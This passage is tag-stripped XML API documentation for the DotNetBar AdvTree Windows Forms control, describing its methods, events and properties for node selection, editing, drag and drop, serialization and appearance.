ExpandLineColor to it's default value. Used by windows forms designer design-time support. + + + + + Indicates whether CommandBackColor should be serialized. Used by windows forms designer design-time support. + + + + + Resets CommandBackColor to it's default value. Used by windows forms designer design-time support. + + + + + Indicates whether CommandBackColor2 should be serialized. Used by windows forms designer design-time support. + + + + + Resets CommandBackColor2 to it's default value. Used by windows forms designer design-time support. + + + + + Indicates whether CommandForeColor should be serialized. Used by windows forms designer design-time support. + + + + + Resets CommandForeColor to it's default value. Used by windows forms designer design-time support. + + + + + Indicates whether CommandMouseOverBackColor should be serialized. Used by windows forms designer design-time support. + + + + + Resets CommandMouseOverBackColor to it's default value. Used by windows forms designer design-time support. + + + + + Indicates whether CommandMouseOverBackColor2 should be serialized. Used by windows forms designer design-time support. + + + + + Resets CommandMouseOverBackColor2 to it's default value. Used by windows forms designer design-time support. + + + + + Indicates whether CommandMouseOverForeColor should be serialized. Used by windows forms designer design-time support. + + + + + Resets CommandMouseOverForeColor to it's default value. Used by windows forms designer design-time support. + + + + + Returns the zero based flat index of the node. Flat index is the index of the node as if tree structure + has been flattened into the list. + + Reference to the node to return index for. + Zero based node index or -1 if index cannot be determined. + + + + Returns node based on the flat index. Flat index is the index of the node as if tree structure + has been flattened into the list. + + Index to return node for. + Reference to a node or null if node at specified index cannot be found. + + + + Returns color scheme part color if set otherwise returns color passed in. + + Color. + Color scheme part. + Color. + + + + Collapses all nodes in a tree. + + + + + Expands all the tree nodes. + + + + + Paints control to canvas. This method might be used for print output. + + Graphics object to paint control to. + Indicates whether to paint control background. + + + + Paints control to canvas. This method might be used for print output. + + Graphics object to paint control to. + Indicates whether to paint control background. + Indicates clipping rectangle. Nodes outside of clipping rectangle will not be painted. You can pass Rectangle.Empty and all nodes will be painted. + + + + Processes the keyboard character and executes the search through the nodes. + + Character to process. + + + + + Raises ColumnResized event. + + ColumnHeader that was resized. + Event arguments + + + + Raises ColumnMoved event. + + ColumnHeader that was moved. + Provides event arguments. + + + + Raises ColumnResizing event. + + Column being resized + Event arguments + + + + Deselect specified node. Use this method when multiple node selection is enabled to deselect single node or all nodes. + + Reference to node to select or null to deselect all selected nodes. + Action that is selecting the node. + + + + Raises SelectionChanged event. + + Event arguments + + + + Raises CellSelected event. + + Event arguments. + + + + Raises CellUnselected event. + + Event arguments. + + + + Selected specified node. + + Node to select. + Action that is selecting the node. + + + + Invalidates the size for all top-level nodes and their sub-nodes. + + + + + Invalidates the size for a node and its sub-nodes. + + Node to invalidate size for. + + + + Ensures that selected node is visible i.e. that all parents of the selected node are expanded. If not selects the first parent node not expanded. + + + + + Starts editing specified cell, places the cell into the edit mode. + + Cell to start editing. + Action that is a cause for the edit. + + + + Starts editing specified cell, places the cell into the edit mode. + + Cell to start editing. + Action that is a cause for the edit. + Specifies the text to be edited instead of the text of the cell. Passing the NULL value will edit the text of the cell. + + + + Called just before cell editor is released for editing. + + Reference to the cell being edited. + Reference to the editor control. + + + + Raises the ProvideCustomCellEditor event. + + Event arguments. + + + + Ends cell editing. + + Specifies which action is cause for end of the editing. + Returns true if edits were applied to the cell or false otherwise. + + + + Ends cell editing. + + Specifies which action is cause for end of the editing. + Returns true if edits were applied to the cell or false otherwise. + + + + Raises the AfterCellEditComplete event. + + Provides information about event. + + + + Cancels the cell editing if it is in progress. + + Specifies which action is cause for canceling of editing. + + + + Raises BeforeNodeInsert event + + Node that is about to be inserted + Source of the event + + + + Raises AfterNodeInsert event + + Node that is inserted + Source of the event + + + + Raises BeforeNodeRemove event + + Node that is about to be removed + Source of the event + + + + Raises AfterNodeRemove event + + Node that is removed + Source of the event + + + + Called after node has been removed + + Node that is removed + Source of the event + + + + Invokes BeforeNodeDrop event. If overriden base implementation must be called in order for event to fire. + + Provides information about event + + + + Invokes AfterNodeDrop event. If overridden base implementation must be called in order for event to fire. + + Provides information about event + + + + Invokes NodeMouseDown event. If overridden base implementation must be called in order for event to fire. + + Provides information about event + + + + Invokes NodeMouseUp event. If overridden base implementation must be called in order for event to fire. + + Provides information about event + + + + Invokes NodeMouseMove event. If overridden base implementation must be called in order for event to fire. + + Provides information about event + + + + Invokes NodeClick event. If overridden base implementation must be called in order for event to fire. + + Provides information about event + + + + Invokes NodeDoubleClick event. If overridden base implementation must be called in order for event to fire. + + Provides information about event + + + + Invokes NodeMouseEnter event. If overriden base implementation must be called in order for event to fire. + + Provides information about event + + + + Invokes NodeMouseLeave event. If overriden base implementation must be called in order for event to fire. + + Provides information about event + + + + Invokes NodeMouseHover event. If overriden base implementation must be called in order for event to fire. + + Provides information about event + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Save nodes to XmlDocument. New Node AdvTree is created and nodes are serialized into it. + + Reference to an instance of XmlDocument object + + + + Saves nodes to a file. + + File name to save nodes to. + + + + Saves nodes to specified stream. + + Stream to save nodes to. + + + + Saves nodes to specified writer. + + Writer to save nodes to. + + + + Saves nodes to specified writer. + + Writer to save nodes to. + + + + Load nodes from file. + + File to load nodes from + + + + Load nodes from stream. + + Stream to load from + + + + Load nodes from reader. + + Reader to load from. + + + + Load nodes from reader. + + Reader to load from. + + + + Load nodes from an XmlDocument object. + + Document to load Nodes from. + + + + Forces the control to invalidate its client area and immediately redraw itself + and any child controls. Note however that this method will node do anything if refresh + is suspended as result of call to BeginUpdate method without corresponding EndUpdate + call or if SuspendPaint property is set to true. + + + + + Disables any redrawing of the tree control. To maintain performance while items + are added one at a time to the control, call the BeginUpdate method. The BeginUpdate + method prevents the control from painting until the + EndUpdate method is called. + + + + + Enables the redrawing of the tree view. To maintain performance while items are + added one at a time to the control, call the BeginUpdate + method. The BeginUpdate method prevents the control from painting until the EndUpdate + method is called. + + + Call to EndUpdate will enable the layout and painting in tree control. If there + are any pending layouts the EndUpdate will call + RecalcLayout method to perform the layout and it will + repaint the control. + + + + + Enables the redrawing of the tree view. To maintain performance while items are + added one at a time to the control, call the BeginUpdate + method. The BeginUpdate method prevents the control from painting until the EndUpdate + method is called. + + Gets or sets whether layout and refresh of control is performed if there are no other update blocks pending. + + + + Retrieves the tree node that is at the specified location. + + The Node at the specified point, in tree view coordinates. + + You can pass the MouseEventArgs.X and MouseEventArgs.Y coordinates of the + MouseDown event as the x and y parameters. + + The Point to evaluate and retrieve the node from. + + + + Retrieves the tree node that is at the specified location. + + The TreeNode at the specified location, in tree view coordinates. + + You can pass the MouseEventArgs.X and MouseEventArgs.Y coordinates of the + MouseDown event as the x and y parameters. + + The X position to evaluate and retrieve the node from. + The Y position to evaluate and retrieve the node from. + + + + Retrieves the tree node that is at the specified location. + + The TreeNode at the specified location, in tree view coordinates. + + You can pass the MouseEventArgs.X and MouseEventArgs.Y coordinates of the + MouseDown event as the x and y parameters. + + The X position to evaluate and retrieve the node from. + The Y position to evaluate and retrieve the node from. + Whether to enumerated displayed nodes only. + + + + Retrieves the tree node that is at the specified vertical location. + + The TreeNode at the specified location, in tree view coordinates. + + You can pass the MouseEventArgs.Y coordinates of the + MouseDown event as the y parameter. + + The Y position to evaluate and retrieve the node from. + + + + Retrieves the node cell that is at the specified location. + + The Point to evaluate and retrieve the cell from. + The Cell at the specified point, in tree view coordinates. + + + + Retrieves the node cell that is at the specified location. + + The X position to evaluate and retrieve the cell from. + The Y position to evaluate and retrieve the cell from. + The Cell at the specified point, in tree view coordinates. + + + + Retrieves the node cell that is at the specified location. + + The X position to evaluate and retrieve the cell from. + The Y position to evaluate and retrieve the cell from. + Whether to enumerated displayed nodes only. + The Cell at the specified point, in tree view coordinates. + + + Applies any layout changes to the tree control. + + Layout will not be performed if BeginUpdate is called. Any calls to the + RecalcLayout will return without executing requested layout operation. + + + + + Recalculates layout for the tree control. Not affected by BeginUpdate call. + + + + + Returns translation matrix for current Zoom. Translation matrix is used to translate internal node coordinates to screen + coordinates when Zoom is not set to 1. + + Returns new instance of Matrix object. + + + + Returns layout based rectangle from screen rectangle. Layout based rectangle will be different + from screen rectangle when Zoom is not set to 1. This method will translate the screen rectangle enlarged by Zoom + to layout rectangle which does not have Zoom applied. + + Screen rectangle + Layout rectangle + + + + Returns mouse position which is translated if control Zoom is not equal 1 + + Mouse event arguments + Returns translated position + + + + Returns mouse position which is translated if control Zoom is not equal 1 + + Mouse position + Returns translated position + + + + Returns mouse position which is translated if control Zoom is not equal 1 + + X coordinate + Y coordinate + + + + + Returns rectangle translated to screen rectangle if Zoom is not equal 1. + + Rectangle to translate + Screen Rectangle + + + + Returns size translated to screen dimension if Zoom is not equal 1. + + Size to translate + Screen Size + + + + Raises ColumnHeaderMouseUp event. + + Reference to ColumnHeader + Event arguments + + + + Raises ColumnHeaderMouseDown event. + + Reference to ColumnHeader + Event arguments + + + + Calls OnBeforeCheck method which fired + OnBeforeCheck event. + + Event arguments. + + + Raises the BeforeCheck event. + + A AdvTreeCellBeforeCheckEventArgs that contains the event + data. + + + + + Calls OnAfterCheck method which fired + AfterCheck event. + + Event arguments. + + + Raises the AfterCheck event. + + A AdvTreeEventArgs that contains the event + data. + + + + + Invokes CommandButtonClick event. + + Context node. + Event arguments. + + + + Invokes DeserializeNode event. + + Provides more information about the event + + + + Invokes SerializeNode event. + + Provides more information about the event + + + + Invokes the MarkupLinkClick evcent. + + Sender of the event, usually instance Cell object. + Event arguments + + + + Raises the NodeDragFeedback event. + + Provides event arguments. + + + + Processes drag over event. + + Drag event arguments. + + + + Raises the NodeDragStart event. + + Reference to node being dragged. + Event parameters + + + + Raises BeforeNodeDragStart event. + + Provides event arguments. + + + + Returns the display root node. + + Instance of node or null if there is no display root node. + + + + Returns reference to the node involved in drag-drop operation if any. + + Reference to node object or null if there is no drag node. + + + + + This member supports the .NET Framework infrastructure and is not intended to be + used directly from your code. + + + + + This member supports the .NET Framework infrastructure and is not intended to be + used directly from your code. + + + + + Raises FormattingEnabledChanged event. + + Event arguments. + + + + Raises FormatStringChanged event. + + Event arguments. + + + + Raises FormatInfoChanged event. + + Event arguments. + + + + Raises the DataSourceChanged event. + + An EventArgs that contains the event data. + + + + Raises the DisplayMemberChanged event. + + An EventArgs that contains the event data. + + + + When overridden in a derived class, resynchronizes the item data with the contents of the data source. + + + + + Disposes all nodes in Nodes collection and clears it. + + + + + When overridden in a derived class, sets the specified array of objects in a collection in the derived class. + + An array of items. + + + + Raises the DataColumnCreated event. + + Provides event arguments. + + + + Raises the DataNodeCreated event. + + Provides event arguments. + + + + Creates a new node for the data item. + + Item to create node for. + New instance of the node. + + + + Raises the DataNodeCreated event. + + Provides event arguments. + + + + When overridden in a derived class, sets the object with the specified index in the derived class. + + The array index of the object. + The object. + + + + Called when ParentFieldName property has changed. + + + + + Called when GroupingMembers property has changed. + + + + + Raises the Format event. + + Event parameters + + + + Clears internal property descriptors cache when data-binding is used. In most cases it is not needed that you call this method. Do so only if instructed by DevComponents support. + + + + + Raises the SelectedIndexChanged event. + + Event arguments. + + + + Raises the ValueMemberChanged event. + + Event arguments. + + + + Raises the SelectedValueChanged event. + + Event arguments. + + + + Called when TouchEnabled property has changed. + + Old property value + New property value + + + + Occurs just before cell editor is released for editing. It allows you to customize any properties on edit control. + + + + + Occurs when mouse button is pressed over the column header. + + + + + Occurs when mouse button is released over the column header. + + + + + Occurs after the cell check box is checked. + + + + + Occurs before the cell check box is checked and provides opportunity to cancel the event. + + + + + Occurs after the tree node is collapsed. + + + + + Occurs before the tree node is collapsed. + + + + + Occurs after the tree node is expanded. + + + + + Occurs before the tree node is expanded. + + + + + Occurs when command button on node is clicked. + + + + + Occurs before cell is edited. The order of the cell editing events is as follows: + BeforeCellEdit, CellEditEnding, AfterCellEdit, AfterCellEditComplete. + + + + + Occurs just before the cell editing is ended. The text box for editing is still visible and you can cancel + the exit out of editing mode at this point. The order of the cell editing events is as follows: + BeforeCellEdit, CellEditEnding, AfterCellEdit, AfterCellEditComplete. + + + + + Occurs after cell editing has ended and before the new text entered by the user is assigned to the cell. You can abort the edits in this event. + The order of the cell editing events is as follows: + BeforeCellEdit, CellEditEnding, AfterCellEdit, AfterCellEditComplete. + + + + + Occurs after cell editing has been completed. This event cannot be canceled. + + + + + Occurs after node selection has changed. + + + + + Occurs before Node has been selected by user or through the SelectedNode property. Event can be cancelled. + + + + + Occurs after node has been selected by user or through the SelectedNode property. + + + + + Occurs after node has been deselected by user or through the SelectedNode or SelectedNodes properties. + + + + + Occurs before node has been removed from its parent. + + + + + Occurs after node has been removed from its parent. + + + + + Occurs before node is inserted or added as child node to parent node. + + + + + Occurs after node is inserted or added as child node. + + + + + Occurs when node drag & drop operation is initiated. + + + + + Occurs before internal node drag & drop support is initiated and allows you to cancel the drag & drop. + + + + + Occurs before Drag-Drop of a node is completed and gives you information about new parent of the node that is being dragged + as well as opportunity to cancel the operation. + + + + + Occurs while node is being dragged. You can handle this event to disable the drop at specific nodes or to even change the + drop location for the node by modifying event arguments. + + + + + Occurs after Drag-Drop of a node is completed. This operation cannot be cancelled. + + + + + Occurs when the mouse pointer is over the node and a mouse button is pressed. + + + + + Occurs when the mouse pointer is over the node and a mouse button is released. + + + + + Occurs when the mouse pointer is moved over the node. + + + + + Occurs when the mouse enters the node. + + + + + Occurs when the mouse leaves the node. + + + + + Occurs when the mouse hovers over the node. + + + + + Occurs when the node is clicked with left mouse button. If you need to know more information like if another mouse button is clicked etc. use + NodeMouseDown event. + + + + + Occurs when the node is double-clicked. + + + + + Occurs after an node has been serialized to XmlElement and provides you with opportunity to add any custom data + to serialized XML. This allows you to serialize any data associated with the node and load it back up in DeserializeNode event. + + + To serialize custom data to XML definition control creates handle this event and use CustomXmlElement + property on SerializeNodeEventArgs to add new nodes or set attributes with custom data you want saved. + + + + + Occurs after an node has been de-serialized (loaded) from XmlElement and provides you with opportunity to load any custom data + you have serialized during SerializeItem event. + + + To de-serialize custom data from XML definition handle this event and use CustomXmlElement + property on SerializeItemEventArgs to retrieve any data you saved in SerializeNode event. + + + + + Occurs when hyperlink in text-markup is clicked. + + + + + Occurs when cell with custom editor type is about to be edited by user. Handle this event to provide + custom editors. + + + + + Occurs when the DataSource changes. + + + + + Occurs when the DisplayMembers property changes. + + + + + Occurs when the control is bound to a data value that need to be converted. + + + + + Occurs when FormattingEnabled property changes. + + + + + Occurs when FormatString property changes. + + + + + Occurs when FormatInfo property has changed. + + + + + Occurs when a Node for an data-bound object item has been created and provides you with opportunity to modify the node. + + + + + Occurs when a group Node is created as result of GroupingMembers property setting and provides you with opportunity to modify the node. + + + + + Occurs when value of ValueMember property has changed. + + + + + Occurs when value of SelectedValue property has changed. + + + + + Occurs when value of SelectedIndex property has changed. + + + + + Occurs when ColumnHeader is automatically created by control as result of data binding and provides you with opportunity to modify it. + + + + + Occurs after column has been resized by end-user. + + + + + Occurs while column is being resized by end-user. + + + + + Occurs after cell has been selected. + + + + + Occurs after cell has been unselected. + + + + + Occurs after users has moved the column. + + + + + Occurs while tree control is being rendered. + + + + + Indicates whether nodes are disposed when control is disposed. + + + + + Indicates whether sorting of node collection sorts child nodes as well. Default value is false. + + + + + Gets or sets whether tooltips are shown when mouse is over the cell when Tooltip property is set. + + + + + Gets the column header control which renderes the columns. + + + + + Gets or sets the scroll-bar visual style. + + + + + Gets or sets the proposed size of the tile in Tile view. The size of the tile might be larger than specified if Style assigned to node, cells adds padding, margins etc. or if Node.Image or font is greater than width or height specified here. + + + + + Gets or sets a value indicating whether the selected tree node remains highlighted even when the tree control has lost the focus. + + + + + Gets whether keyboard focus is within the control. + + + + + Gets or sets whether cell editing is completed when control loses input focus. Default value is true. + + + + + Gets or sets the reference to DotNetBar ContextMenuBar component which is used to provide context menu for nodes. This property + is automatically maintained by AdvTree. + + + + + Gets or sets zoom factor for the control. Default value is 1. To zoom display of the nodes for 20% set zoom factor to 1.2 + To zoom view 2 times set zoom factor to 2. Value must be greater than 0. Zoom is supported only when non-column tree setup is used. + Please note that Zoom functionality is designed only for very special use cases and only for + plain tree control setup which does not use editing, alternating row colors, drag & drop or any other + advanced functionality. + + + + + Gets the size of the tree. + + + + + Gets or sets custom node renderer. You can set this property to your custom renderer. When set the RenderMode should be set to Custom to enable + your custom renderer. To choose one of the system renderer use RenderMode property. Default value is null. + + + + + Gets or sets the render mode used to render all nodes. Default value is eNodeRenderMode.Default which indicates that system default renderer is used. + Note that if you specify custom renderer you need to set AdvTree.NodeRenderer property to your custom renderer. + + + + + Gets the style for the background of the control. + + + + + Gets or sets internal layout cell horizontal spacing. This property is for advanced internal use and you should not set it. + + + + + Gets or sets whether automatic drag and drop is enabled. Default value is true. + + + + + Gets or sets whether anti-alias smoothing is used while painting the tree. + + + + + Gets or sets the delimiter string that the tree node path uses. + + + + + Gets or sets whether user can resize the columns. Default value is true. + + + + + Gets or sets whether user can reorder the columns. Default value is false. + + + + + Gets the collection of column headers that appear in the tree. + + + By default there are no column headers defined. In that case tree control + functions as regular tree control where text has unrestricted width. + If you want to restrict the horizontal width of the text but not display + column header you can create one column and set its width to the width desired and + set its Visible property to false. + + + + + Gets or sets whether column headers are visible if they are defined through Columns collection. Default value is true. + + + + + Gets the collection of all style elements created for the tree. + + + + + Gets or sets default style for the node cell. + + + + + Gets or sets default style for the node cell when mouse is pressed. + + + + + Gets or sets default style for the node cell when mouse is over the cell. + + + + + Gets or sets default style for the node cell when cell is selected. + + + + + Gets or sets default style for the node cell when cell is disabled. + + + + + Gets or sets default style for the node when node is expanded. + + + + + Gets or sets default style for all nodes where style is not specified + explicity. + + + Name of the style assigned or null value indicating that no style is used. + Default value is null. + + + + + Gets or sets style for the node when node is selected. Note that this style is applied to the default node style. + + + Reference to the style assigned or null value indicating that no style is used. + Default value is null. + + + + + Gets or sets style for the node when mouse is over node. Note that this style is applied to the default node style. + + + Reference to the style assigned or null value indicating that no style is used. + Default value is null. + + + + + Gets the collection of tree nodes that are assigned to the tree view control. + + + A NodeCollection that represents the tree nodes + assigned to the tree control. + + + The Nodes property holds a collection of Node objects, each of which has a + Nodes property that can contain its own NodeCollection. + + + + + Gets or sets the vertical spacing between nodes in pixels. Default value is 3. + + + + + Gets or sets the horizontal spacing between nodes in pixels when control is in Tile layout. Default value is 4. + + + + + Gets or sets whether horizontal grid lines between each row are displayed. Default value is false. + + + + + Gets or sets whether column can be resized when mouse is over the column grid line and outside of the column header. + GridColumnLines must be set to true to make column lines visible. + + + + + Gets or sets whether grid lines are displayed when columns are defined. Default value is true. + + + + + Gets or sets the grid lines color. + + + + + Gets or sets the alternate row color applied to every other row. Default value is Color.Empty. + + + + + Gets or sets the background style for the child nodes columns. Background style defines the appearance of the column header background. + + + Reference to the style assigned to the column header. + + + + + Gets or sets the background style for the columns. Background style defines the appearance of the column header background. + + + Reference to the style assigned to the column header. + + ColumnStyleNormal Property + ColumnStyleMouseDown Property + ColumnStyleMouseOver Property + + + + Gets or sets the default style class assigned to the column headers. + + + Reference to the style assigned to the column header. + + + When style is not set on ColumnHeader objects then style setting from this property is used instead. + + ColumnStyleMouseDown Property + ColumnStyleMouseOver Property + + + + Gets or sets default style class assigned to the column which is applied when mouse + button is pressed over the header. + + + Name of the style assigned to the column. + + + When style is not set on ColumnHeader objects then style setting from this property is used instead. + + ColumnStyleNormal Property + ColumnStyleMouseOver Property + + + + Gets or sets default style class assigned to the column which is applied when mouse is + over the column. + + + Name of the style assigned to the column. + + + When style is not set on ColumnHeader objects then style setting from this property is used instead. + + ColumnStyleNormal Property + ColumnStyleMouseDown Property + + + + Gets collection that holds definition of column headers associated with nodes. + + + + + Gets or sets the tree node that is currently selected in the tree control. + + + If no Node is currently selected, the + SelectedNode property is a null reference (Nothing in Visual + Basic). + + + + + Gets or sets the collection of currently selected nodes in tree control. + + + + + Gets or sets whether multi-node selection is enabled. Default value is false. When + multi-selection is enabled use SelectedNodes property to retrive collection of selected nodes. + Use MultiSelectRule property to change the multi-node selection rule. + + + + + Gets or sets the rule that governs the multiple node selection. Default value indicates that only nodes + belonging to same parent can be multi-selected. + + + + + Returns reference to node layout object. + + + + + Returns reference to node display object. + + + + + Gets whether layout is suspended for tree control. Layout is suspended after + call to BeginUpdate method and it is resumed after the + call to EndUpdate method. + + + + + Gets whether control has layout operation pending on next paint or update. + + + + + Gets or sets whether paint operations are suspended for the control. You should use this method + if you need the RecalcLayout operations to proceed but you want to stop painting of the control. + + + + + Gets or sets the ImageList that contains the Image objects used by the tree nodes. + + + + + Gets or sets the image-list index value of the default image that is displayed by the tree nodes. + + + + + Gets or sets the custom image that is displayed instead default check box representation when check box in cell is checked. + + + + + Gets or sets the custom image that is displayed instead default check box representation when check box in cell is unchecked. + + + + + Gets or sets the custom image that is displayed instead default check box representation when check box in cell is in indeterminate state. + + + + + Gets or sets the NodeConnector object that describes the type of the connector used for + displaying connection between nested nodes. RootConnector property specifies the connector + between root node and it's imidate nested nodes. This property specifies connector for all other nested levels. + Default value is null. + + + You can use + Node.ParentConnector + property to specify per node connectors. + + + + + Gets or sets the NodeConnector object that describes the type of the connector used for + displaying connection between linked nodes. Connector specified here is used to display the connection + between nodes that are on the path to the selected node. When set you can use it to visually indicate the path to the currently selected node. + Default value is null. + + + + + Gets or sets the layout of the cells inside the node. Default value is Horizontal layout which + means that cell are positioned horizontally next to each other. + + + You can specify cell layout on each node by using + Node.CellLayout + property. + + + + + Gets or sets the layout of the cells inside the node. Default value is Horizontal layout which + means that cell are positioned horizontally next to each other. + + + You can specify cell layout on each node by using + Node.CellLayout + property. + + + + + Gets or sets the color scheme style. Color scheme provides predefined colors based on popular visual styles. + We recommend that you use "SchemePart" color settings since they maintain consistant look that is + based on target system color scheme setting. + + + + + Gets the reference to the color scheme object. + + + + + Gets or sets whether the content of the control is centered within the bounds of control. Default value is true. + + + + + Gets or sets whether per cell selection mode is enabled. In cell selection mode the selection box is drawn over selected cell only + instead of all cells in the node. + Default value is false. + + + + + Gets or sets whether selection appearance changes depending on whether control has input focus. Default value is true. Setting this value to false causes selection box to be rendered as if control has focus all the time. + + + + + Gets or sets the node selection box style. + + SelectionBox Property + SelectionBoxSize Property + SelectionBoxFillColor Property + SelectionBoxBorderColor Property + + + + Gets or sets the value that indicates whether selection box is drawn around the + selected node. Default value is true. Another way to provide the visual indication that + node is selected is by using selected state style properties like + NodeStyleSelected + and + CellStyleSelected. + + CellStyleSelected Property + NodeStyleSelected Property + + + + Gets or sets the size/thickness in pixel of the selection box drawn around selected + node. + + + + + Gets or sets whether node is selected when mouse is pressed anywhere within node vertical bounds. Default value is true. + + + When set to false the node is selected only when mouse is pressed over the node content. + + + + + Gets or sets the total node expand area width in pixels. The expand button with ExpandButtonSize is fitted into this area. Default value is 24. + + + + + Gets or sets the size of the expand button that is used to expand/collapse node. Default value is 8,8. + + + + + Gets or sets expand button border color. Note that setting ExpandBorderColorSchemePart property will override the value that you set here. + + + + + Gets or sets expand button color scheme border color. Setting + this property overrides the setting of the corresponding ExpandBorderColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through ExpandBorderColor property. + + + + + Gets or sets expand button back color. Note that setting ExpandBackColorSchemePart property will override the value that you set here. + + + + + Gets or sets expand button color scheme back color. Setting + this property overrides the setting of the corresponding ExpandBackColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through ExpandBackColor property. + + + + + Gets or sets expand button target gradientback color. Note that setting ExpandBackColor2SchemePart property will override the value that you set here. + + + + + Gets or sets expand button color scheme target gradient back color. Setting + this property overrides the setting of the corresponding ExpandBackColor2 property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through ExpandBackColor2 property. + + + + + Gets or sets expand button line color. Note that setting ExpandLineColorSchemePart property will override the value that you set here. + + + + + Gets or sets expand button color scheme line color. Setting + this property overrides the setting of the corresponding ExpandLineColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through ExpandLineColor property. + + + + + Gets or sets the expand button background gradient angle. + + + + + Gets or sets the expand button image which is used to indicate that node will be expanded. To use images as expand buttons you also need to set ExpandButtonType=eExpandButtonType.Image. + + + + + Gets or sets the expand button image which is used to indicate that node will be collapsed. To use images as expand buttons you also need to set ExpandButtonType=eExpandButtonType.Image. + + + + + Gets or sets the type of the expand button used to expand/collapse nodes. + + + + + Gets or sets the display root node. Setting this property allows you to use any + Node as root display node. Default value is Null which means that first node from + AdvTree.Nodes collection is used as display root node. + + + + + Gets or sets the width of the command button. Default value is 10 pixels. + + + + + Gets or sets command button back color. Note that setting CommandBackColorSchemePart property will override the value that you set here. + + + + + Gets or sets command button color scheme back color. Setting + this property overrides the setting of the corresponding CommandBackColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through CommandBackColor property. + + + + + Gets or sets command button target gradient back color. Note that setting CommandBackColor2SchemePart property will override the value that you set here. + + + + + Gets or sets command button color scheme target gradient back color. Setting + this property overrides the setting of the corresponding CommandBackColor2 property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through CommandBackColor2 property. + + + + + Gets or sets command button foreground color. Note that setting CommandForeColorSchemePart property will override the value that you set here. + + + + + Gets or sets command button color scheme foreground color. Setting + this property overrides the setting of the corresponding CommandForeColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through CommandForeColor property. + + + + + Gets or sets the command button background gradient angle. + + + + + Gets or sets command button mouse over back color. Note that setting CommandMouseOverBackColorSchemePart property will override the value that you set here. + + + + + Gets or sets command button color scheme mouse over back color. Setting + this property overrides the setting of the corresponding CommandMouseOverBackColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through CommandMouseOverBackColor property. + + + + + Gets or sets command button mouse over target gradient back color. Note that setting CommandMouseOverBackColor2SchemePart property will override the value that you set here. + + + + + Gets or sets command button mouse over color scheme target gradient back color. Setting + this property overrides the setting of the corresponding CommandMouseOverBackColor2 property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through CommandMouseOverBackColor2 property. + + + + + Gets or sets command button mouse over foreground color. Note that setting CommandMouseOverForeColorSchemePart property will override the value that you set here. + + + + + Gets or sets command button mouse over color scheme foreground color. Setting + this property overrides the setting of the corresponding CommandMouseOverForeColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through CommandMouseOverForeColor property. + + + + + Gets or sets the command button mouse over background gradient angle. + + + + + Gets or sets a value indicating whether the label text of the node cells can be edited. Default value is false. + + + + + Returns whether cell editing is in progress. + + + + + Gets or sets whether keyboard incremental search through Node.Text property is enabled. Default value is true. + + + + + Gets or sets the keyboard search buffer expiration timeout. Default value is 1000 which indicates that + key pressed within 1 second will add to the search buffer and control will be searched for node text + that begins with resulting string. Setting this value to 0 will disable the search buffer. + + + + + Indicates whether search buffer is auto-cleared regardless of the expiration timeout if node is not found using current buffer content. + + + + + Gets or sets whether double-clicking the node will toggle its expanded state. Default value is true. + + + + + Gets or sets whether node is highlighted when mouse enters the node. Default value is false. + + + There are two ways to enable the node hot-tracking. You can set the HotTracking property to true in which case the + mouse tracking is enabled using system colors specified in TreeColorTable. You can also define the NodeStyleMouseOver + style which gets applied to the node when mouse is over the node. + + + + + Gets whether tree is in process of moving the column in response to user finishing the column move action. + + + + + Gets or sets how control positions the items. Default value is standard TreeView layout. + + + + + Gets or sets the color of the group divider line when in tile view. + + + + + Returns the reference to the node mouse is currently over or null (Nothing) if mouse is not over any node in tree. + + + + + Specifies the mouse cursor displayed when mouse is over the cell. Default value + is null which means that default control cursor is used. + + + To specify cursor for each individual cell use + Cell.Cursor property. + + + + + Gets reference to array of Cell objects that have HostedControl property set. + + + + + Gets or sets whether hosted controls are clipped so they don't overlap the control borders. Default value is true. + + + + + Gets or sets whether control border needs to be updated by calling UpdateControlBorderPanel() + + + + + Gets the reference to internal vertical scroll-bar control if one is created or null if no scrollbar is visible. + + + + + Gets or sets whether Vertical Scroll-bar is shown if needed because content of the control exceeds available height. Default value is true. + + + + + Gets or sets whether Horizontal Scroll-bar is shown if needed because content of the control exceeds available width. Default value is true. + + + + + Gets the reference to internal horizontal scroll-bar control if one is created or null if no scrollbar is visible. + + + + + Gets or sets a value indicating whether the tree control enables the user to scroll to any nodes placed outside of its visible boundaries. + This property is managed internally by AdvTree control and should not be modified. + + + + + Gets or sets the minimum size of the auto-scroll. Returns a Size that represents the minimum height and width of the scrolling area in pixels. + This property is managed internally by AdvTree control and should not be modified. + + + + + Gets or sets the location of the auto-scroll position. + + + + + Gets the list of all checked nodes in tree including child nodes. + + + + + Gets or sets the offset in pixels from node's X position that is used during drag & drop operation to indicate that + dragged node is dropped as child node of the parent's node. + + + + + Gets or sets whether drag & drop internal implementation allows the copying of the node being dragged when CTRL key is pressed. + + + + + Gets or sets whether control accepts the dragged nodes from other AdvTree controls. Default value 